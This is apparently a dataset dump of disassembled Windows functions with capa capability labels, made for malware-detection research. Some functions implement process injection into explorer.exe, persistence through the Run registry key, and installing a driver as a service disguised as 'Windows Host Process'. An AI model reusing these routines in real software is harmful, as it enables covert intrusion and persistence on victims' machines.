joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46b7f0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4900e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.0046b3a0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.0046b420
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.0046b420
lea ecx, [esi + 0xc]
call fcn.0047f5e8
lea ecx, [esi + 0x10]
call fcn.0047f5e8
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.0046dc50
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.0046dc50
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.0046dc50
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0047f65d
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0047f65d
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x46c498
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x490308
push eax
mov dword fs:[0], esp
sub esp, 0x64
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x46c4a8
call fcn.0046c9c0
mov edi, dword [esp + 0x7c]
test edi, edi
je 0x46c58b
cmp byte [edi], 0
je 0x46c58b
mov eax, dword [esp + 0x8c]
test eax, eax
jg 0x46c4cd
mov eax, 0x7d0
mov ecx, esi
mov dword [esi + 8], eax
call fcn.0046b1c0
test eax, eax
jne 0x46c4ed
push 0x55101c
lea ecx, [esi + 0x38]
call fcn.0047f79a
jmp 0x46c58b
mov eax, dword [esp + 0x80]
mov ecx, esi
push eax
push edi
call fcn.0046b210
test eax, eax
jne 0x46c51c
mov ecx, esi
call fcn.0046b310
push edi
add esi, 0x38
push 0x550ff8
push esi
call fcn.0047cb96
add esp, 0xc
jmp 0x46c58b
push 0xdc
mov ecx, esi
mov dword [esi + 4], 1
call fcn.0046d240
test eax, eax
je 0x46c584
lea ecx, [esp + 8]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
lea edx, [esp + 0x8c]
mov dword [esp + 0x8c], 1
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.0046c660
test eax, eax
jne 0x46c5a0
push edi
lea eax, [esi + 0x38]
push 0x550fd4
push eax
call fcn.0047cb96
add esp, 0xc
mov ecx, esi
call fcn.0046c9c0
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x46c648
mov ecx, dword [0x55128c]
mov dword [esp + 0x7c], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x7c]
push edx
push str.HELO__s_r_n
push eax
mov dword [esp + 0x80], 0
call fcn.0047cb96
mov edx, dword [esp + 0x88]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, esi
call fcn.0046b2c0
test eax, eax
jne 0x46c60a
push 0x550fb8
lea ecx, [esi + 0x38]
call fcn.0047f79a
jmp 0x46c61a
push 0xfa
mov ecx, esi
call fcn.0046d240
test eax, eax
jne 0x46c637
mov ecx, esi
call fcn.0046c9c0
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0047f65d
jmp 0x46c58b
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0047f65d
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
Function at 0x473885
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x552398
cmp edx, dword [eax]
je 0x4738a7
add eax, 8
inc ecx
cmp eax, 0x552428
jl 0x473898
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x552398]
jne 0x4739d5
mov eax, dword [0x57a1b0]
cmp eax, 1
je 0x4739af
test eax, eax
jne 0x4738d8
cmp dword [0x551c84], 1
je 0x4739af
cmp edx, 0xfc
je 0x4739d5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x47390f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004762a0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00475f70
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x473952
lea eax, [ebp - 0x1a4]
push eax
call fcn.00475f70
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x54eae4
push edi
call fcn.00470380
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004762a0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004762b0
lea eax, [ebp - 0xa0]
push 0x539768
push eax
call fcn.004762b0
push dword [esi + 0x55239c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004762b0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0047a4a5
add esp, 0x2c
pop edi
jmp 0x4739d5
lea eax, [ebp + 8]
lea esi, [esi + 0x55239c]
push 0
push eax
push dword [esi]
call fcn.00475f70
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x4819f8
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x481a30
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0047fab8
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0047fa90
jmp 0x481a3c
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4831f2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x483234
call fcn.004894ed
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x483234
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x48322b
xor eax, eax
jmp 0x48323c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00483242
pop edi
pop esi
pop ebx
ret 4
Function at 0x489a1d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x489a4b
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x489a69
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00489983
jmp 0x489a69
mov eax, dword [esi + 0x14]
test eax, eax
je 0x489a69
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00489983
test edi, edi
mov eax, edi
jne 0x489a53
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401e60
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp + 8]
push eax
push 0x20019
push 0
xorps xmm0, xmm0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
movups xmmword [edi], xmm0
push 0x80000001
movups xmmword [edi + 0x10], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 8], ebx
test eax, eax
jne 0x401f16
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push str.identifier
push dword [ebp + 8]
call ebx
test eax, eax
jne 0x401f16
push dword [ebp - 4]
call fcn.004104d0
mov esi, eax
add esp, 4
test esi, esi
je 0x401eef
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0xc]
push eax
push 0
push str.identifier
push dword [ebp + 8]
call ebx
test eax, eax
je 0x401eef
push esi
call fcn.0040ff30
add esp, 4
push dword [ebp + 8]
mov ebx, dword [ebp - 8]
call ebx
test esi, esi
je 0x401f16
push 0x20
push esi
push edi
call fcn.0040fab0
push esi
call fcn.0040ff30
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0
call fcn.0040fec0
xor eax, 6
push eax
call fcn.0040d32c
add esp, 8
xor esi, esi
lea ebx, [esi + 0x1a]
nop
call fcn.0040d30b
cdq
mov ecx, 0xff
idiv ecx
dec edx
test dl, 1
je 0x401f50
call fcn.0040d30b
cdq
idiv ebx
add dl, 0x41
jmp 0x401f5b
call fcn.0040d30b
cdq
idiv ebx
add dl, 0x61
mov byte [edi + esi], dl
inc esi
cmp esi, 6
jl 0x401f30
push 0
lea eax, [ebp + 8]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ebx, dword [ebp - 8]
test eax, eax
jne 0x401fb5
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401f93
sub ecx, edx
push ecx
push edi
push 1
push 0
push str.identifier
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4022b0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x20]
mov esi, ecx
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4022fc
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004094b1
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0xa8]
lea ecx, [esi + 0x98]
add edx, 0xfffffffc
mov dword [ebp - 0xc], 0
cmp dword [ecx + 0x10], edx
xorps xmm0, xmm0
movups xmmword [ebp - 0x1c], xmm0
cmovb edx, dword [ecx + 0x10]
cmp dword [ecx + 0x14], 0xf
mov dword [ebp - 8], 0
jbe 0x40232f
mov ecx, dword [ecx]
push edx
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00403280
cmp dword [esi + 0x94], 0xf
lea ecx, [esi + 0x80]
jbe 0x40234a
mov ecx, dword [ecx]
push dword [esi + 0x90]
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
push ecx
cmova eax, dword [ebp - 0x1c]
push 1
push 0
push eax
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 8]
mov esi, eax
cmp ecx, 0xf
jbe 0x40239c
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402392
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4023be
push ecx
push edx
call fcn.004094ef
add esp, 8
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x4022eb
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.004094b1
mov esp, ebp
pop ebp
ret
call fcn.00410479
int3
Function at 0x402660
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x4026c8
cmp esi, 0xffffffff
je 0x4026c8
push 0x124
lea eax, [esp + 0x18]
push 0
push eax
call fcn.0040ace0
add esp, 0xc
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x4026e1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004094b1
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
mov dword [esp + 0xc], 0
mov ecx, dword [esp + 0x18]
cmp ecx, 4
jbe 0x40272c
cmp ecx, ebx
je 0x40272c
test edi, edi
je 0x402718
lea eax, [esp + 0x34]
push edi
push eax
call fcn.0040a7f0
add esp, 8
test eax, eax
je 0x40272c
mov ecx, dword [esp + 0x18]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x40272c
cmp eax, 0xffffffff
jne 0x40275e
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4026f1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004094b1
mov esp, ebp
pop ebp
ret 8
push esi
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004094b1
mov esp, ebp
pop ebp
ret 8
Function at 0x402cf0
Capabilities:
Create process on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420857
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x60
push esi
push edi
mov eax, dword [section..data]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebx + 8]
xorps xmm0, xmm0
movlpd qword [ebp - 0x6c], xmm0
mov eax, esi
movlpd qword [ebp - 0x64], xmm0
movlpd qword [ebp - 0x5c], xmm0
cmp dword [esi + 0x14], 0xf
movlpd qword [ebp - 0x54], xmm0
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
movlpd qword [ebp - 0x34], xmm0
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x70], 0x44
jbe 0x402d6e
mov eax, dword [esi]
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x70]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402df0
cmp dword [esi + 0x14], 0xf
jbe 0x402d97
mov esi, dword [esi]
mov edi, dword [0x42de5c]
test edi, edi
jne 0x402dca
push 0xc8
call fcn.004094bf
add esp, 4
mov dword [ebp - 0x14], eax
mov ecx, eax
mov dword [ebp - 4], edi
call fcn.00401230
mov edi, eax
mov dword [ebp - 4], 0xffffffff
mov dword [0x42de5c], edi
push esi
push str.__3___s__4__
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x1b2
push 0x427c8c
push edi
call fcn.00402a00
add esp, 0x1c
xor al, al
jmp 0x402df2
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
Function at 0x403a00
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.7YhngylKo09H
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x427e44
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x403a53
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004094b1
mov esp, ebp
pop ebp
ret
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x134], ebx
cmp ebx, 0xffffffff
jne 0x403a71
xor eax, eax
jmp 0x403b24
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x403aa0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x403b24
mov esi, str.explorer.exe
lea edi, [ebp - 0x10c]
nop dword [eax + eax]
mov al, byte [edi]
test al, al
je 0x403af5
mov bl, byte [esi]
lea ecx, [ebx - 0x20]
movzx ecx, cl
lea edx, [ebx - 0x61]
mov dword [ebp - 0x138], ecx
cmp dl, 0x19
movzx ecx, bl
lea edx, [eax - 0x61]
mov ebx, dword [ebp - 0x138]
cmova ebx, ecx
lea ecx, [eax - 0x20]
cmp dl, 0x19
movzx ecx, cl
movzx eax, al
cmova ecx, eax
inc edi
inc esi
cmp bl, cl
jne 0x403af9
cmp byte [esi], 0
jne 0x403ab0
mov al, byte [edi]
cmp byte [esi], al
je 0x403b12
mov ebx, dword [ebp - 0x134]
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x403a89
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x128]
push eax
push 0
push 0x3a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x403b80
push 0x40
push 0x3000
push 0x616
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x403b69
lea eax, [ebp - 0x138]
push eax
push 0x616
push 0x42b920
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x134]
push eax
push 0
push 0
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004094b1
mov esp, ebp
pop ebp
ret
Function at 0x403ba0
Capabilities:
Create service
Delete service
Get token membership
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x430]
mov dword [ebp - 0x410], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x410]
mov word [ebp - 0x40c], 0x500
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x403d6d
lea eax, [ebp - 0x434]
push eax
push dword [ebp - 0x430]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x403c19
mov dword [ebp - 0x434], eax
push dword [ebp - 0x430]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 0x434], 0
je 0x403d6d
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf003f
push 0
push 0
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x403c89
push 0xf003f
push str.Windows_Host_Process
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x403c80
lea eax, [ebp - 0x42c]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
push ebx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push ebx
call edi
push esi
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push str.appdata
call fcn.004105c7
add esp, 4
push eax
lea eax, [ebp - 0x408]
push str._sdrv.sys
push eax
call fcn.00401050
lea edx, [ebp - 0x408]
add esp, 0xc
xor ecx, ecx
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x403cb6
sub edx, esi
je 0x403ce6
cmp byte [ebp + ecx - 0x408], 0x20
je 0x403cd2
inc ecx
cmp ecx, edx
jb 0x403cc1
jmp 0x403ce6
lea eax, [ebp - 0x408]
push str.C:drv.sys
push eax
call fcn.00401050
add esp, 8
lea eax, [ebp - 0x408]
push 0x427cc8
push eax
call fcn.0040d3f5
mov esi, eax
add esp, 8
test esi, esi
je 0x403d6d
push esi
push 0x1400
push 1
push 0x42bf38
call fcn.0040fe86
push esi
call fcn.0040d531
add esp, 0x14
push 2
push 0
push 0
call ebx
mov ebx, eax
test ebx, ebx
je 0x403d6d
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x408]
push eax
push 1
push 3
push 1
push 0xf01ff
push str.Windows_Host_Process
push str.Windows_Host_Process
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push ebx
mov esi, eax
call edi
test esi, esi
je 0x403d6d
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004094b1
mov esp, ebp
pop ebp
ret
Function at 0x4054c0
Capabilities:
Create thread
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420aa8
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [section..data]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
push 0x18
mov dword [edi], 0
mov dword [edi + 4], 0
call fcn.004094bf
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [edi], eax
mov dword [ebp - 4], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
lea esi, [edi + 0x2c]
mov byte [ebp - 4], 1
push 0x14
mov dword [ebp - 0x14], esi
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004094bf
add esp, 8
lea ebx, [edi + 0x4c]
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
xor esi, esi
mov ecx, esi
lea ebx, [ebx + 4]
shr ecx, 1
mov eax, esi
mov edx, ecx
xor edx, 0xedb88320
test al, 1
cmove edx, ecx
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
test dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0xedb88320
test cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
test dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0xedb88320
test cl, 1
cmove edx, eax
mov eax, edx
shr eax, 1
mov ecx, eax
xor ecx, 0xedb88320
test dl, 1
cmove ecx, eax
mov eax, ecx
shr eax, 1
mov edx, eax
xor edx, 0xedb88320
test cl, 1
cmove edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, 0xedb88320
test dl, 1
cmove eax, ecx
inc esi
mov dword [ebx - 4], eax
cmp esi, 0x100
jl 0x405563
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [edi + 8]
push eax
call esi
lea eax, [edi + 0x34]
push eax
call esi
lea eax, [ebp - 0x18]
push eax
push 0
push edi
push 0x405ea0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406e70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x42de70]
test eax, eax
jne 0x406edf
push esi
push 0x34
call fcn.004094bf
mov esi, eax
add esp, 4
mov dword [ebp - 4], esi
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea eax, [esi + 0x18]
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
push eax
mov byte [esi], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [ebp - 4]
mov byte [esi + 0x30], 0
push eax
push 0
push esi
push 0x406f10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x42de70], esi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x408470
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x408493
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x1c], 0
mov eax, dword [esi]
test eax, eax
je 0x4084a0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], 0
pop esi
ret